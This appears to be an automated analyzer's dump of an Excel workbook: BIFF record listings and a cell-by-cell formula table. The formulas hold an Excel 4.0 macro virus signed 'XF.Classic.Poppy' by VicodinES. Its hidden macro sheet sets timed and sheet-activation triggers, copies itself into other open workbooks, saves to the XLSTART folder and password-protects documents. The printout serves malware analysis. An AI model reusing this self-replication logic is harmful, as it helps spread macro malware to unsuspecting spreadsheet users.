' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Sheet,Y4,"",21.00000000000000000000
'  Sheet,W8,120-B8-C8-D8-E8-F8-G8-H8-I8-J8-K8-L8-M8-N8-O8-P8-Q8-R8-S8-T8-V8,""
'  Sheet,L9,"",8.00000000000000000000
'  Sheet,W9,120-B9-C9-D9-E9-F9-G9-H9-I9-J9-K9-L9-M9-N9-O9-P9-Q9-R9-S9-T9-V9,""
'  Sheet,L10,"",8.00000000000000000000
'  Sheet,W10,[],""
'  Sheet,L11,"",6.00000000000000000000
'  Sheet,S11,"",0.62000030517578119671
'  Sheet,W11,[],""
'  Sheet,L12,"",8.00000000000000000000
'  Sheet,W12,[],""
'  Sheet,L13,"",8.00000000000000000000
'  Sheet,S13,"",0.32000030517578126332
'  Sheet,W13,[],""
'  Sheet,L14,"",8.00000000000000000000
'  Sheet,S14,"",0.74000061035156250444
'  Sheet,W14,[],""
'  Sheet,L15,"",8.00000000000000000000
'  Sheet,W15,[],""
'  Sheet,L16,"",8.00000000000000000000
'  Sheet,W16,[],""
'  Sheet,L17,"",8.00000000000000000000
'  Sheet,W17,[],""
'  Sheet,L18,"",8.00000000000000000000
'  Sheet,W18,[],""
'  Sheet,F19,"",1.00000000000000000000
'  Sheet,L19,"",5.00000000000000000000
'  Sheet,W19,[],""
'  Sheet,L20,"",8.00000000000000000000
'  Sheet,S20,"",0.17000015258789061279
'  Sheet,W20,[],""
'  Sheet,L21,"",8.00000000000000000000
'  Sheet,W21,[],""
'  Sheet,L22,"",8.00000000000000000000
'  Sheet,W22,[],""
'  Sheet,L23,"",8.00000000000000000000
'  Sheet,S23,"",1.59000122070312510658
'  Sheet,W23,[],""
'  Sheet,F24,"",2.00000000000000000000
'  Sheet,L24,"",8.00000000000000000000
'  Sheet,W24,[],""
'  Sheet,F25,"",1.00000000000000000000
'  Sheet,L25,"",8.00000000000000000000
'  Sheet,W25,[],""
'  Sheet,L26,"",8.00000000000000000000
'  Sheet,W26,[],""
'  Sheet,L27,"",8.00000000000000000000
'  Sheet,S27,"",1.28000122070312505329
'  Sheet,W27,[],""
'  JHSNWPO,A4,"",3.00000000000000000000
'  XL4Popp,C1,WORKBOOK.HIDE("XL4Poppy"),""
'  XL4Popp,C4,RUN(C18),""
'  XL4Popp,C5,"ERROR(TRUE,Continue)",""
'  XL4Popp,C6,IF(A4=3),""
'  XL4Popp,C7,RETURN(),""
'  XL4Popp,C8,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,C9,ERROR(FALSE),""
'  XL4Popp,C10,RUN(A21),""
'  XL4Popp,C11,"ON.TIME("6:30:00 PM","Hello")",""
'  XL4Popp,C12,"ON.TIME("6:30:00 AM","Morning")",""
'  XL4Popp,C13,"ON.SHEET(,"Poppy",TRUE)",""
'  XL4Popp,C14,RETURN(),""
'  XL4Popp,A15,"ALERT("XF.Classic.Poppy by VicodinES",2)",""
'  XL4Popp,A16,"ALERT("?1998 The Narkotic Network",2)",""
'  XL4Popp,A17,RETURN(),""
'  XL4Popp,C18,"SET.VALUE(A3,(GET.WORKSPACE(32)&"\xlstart\Book1."))",""
'  XL4Popp,C19,"SET.NAME("Document_array",DOCUMENTS())",""
'  XL4Popp,C20,"SET.VALUE(A1,INDEX(Document_array,2))",""
'  XL4Popp,A21,"SET.VALUE(A2,INDEX(Document_array,1))",""
'  XL4Popp,A22,"ERROR(TRUE,MakeIt)",""
'  XL4Popp,C22,"SET.VALUE(A4,GET.DOCUMENT(3,"["&A1&"]"&"XL4Poppy"))",""
'  XL4Popp,A23,IF(A21=0),""
'  XL4Popp,C23,RETURN(),""
'  XL4Popp,A24,RETURN(),""
'  XL4Popp,I25,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A26,NEW(1),""
'  XL4Popp,A27,WORKBOOK.INSERT(1),""
'  XL4Popp,C27,RUN(C19),""
'  XL4Popp,A28,WORKBOOK.INSERT(1),""
'  XL4Popp,C28,"ERROR(TRUE,Bust)",""
'  XL4Popp,A29,ACTIVATE.PREV(),""
'  XL4Popp,C29,IF(A4=3),""
'  XL4Popp,A30,RUN(C18),""
'  XL4Popp,C30,RETURN(),""
'  XL4Popp,A31,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,C31,ERROR(FALSE),""
'  XL4Popp,A32,"WORKBOOK.NAME("Sheet3","Sheet99")",""
'  XL4Popp,C32,ACTIVATE.PREV(),""
'  XL4Popp,A33,"WORKBOOK.NAME("Sheet1","Sheet3")",""
'  XL4Popp,C33,RUN(C19),""
'  XL4Popp,A34,"WORKBOOK.NAME("Sheet99","Sheet1")",""
'  XL4Popp,C34,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,A35,"PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)",""
'  XL4Popp,C35,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A36,WORKBOOK.PREV(),""
'  XL4Popp,C36,RETURN(),""
'  XL4Popp,A37,WORKBOOK.PREV(),""
'  XL4Popp,A38,WORKBOOK.PREV(),""
'  XL4Popp,A39,SAVE.AS(A3),""
'  XL4Popp,C39,APP.TITLE("XF.Classic.Poppy"),""
'  XL4Popp,A40,FILE.CLOSE(),""
'  XL4Popp,C40,"MESSAGE(TRUE,"VicodinES and Lord Natas greet you a good morning!")",""
'  XL4Popp,A41,RETURN(),""
'  XL4Popp,C41,RETURN(),""

Open this report in the interactive analyzer, or submit your own file for analysis.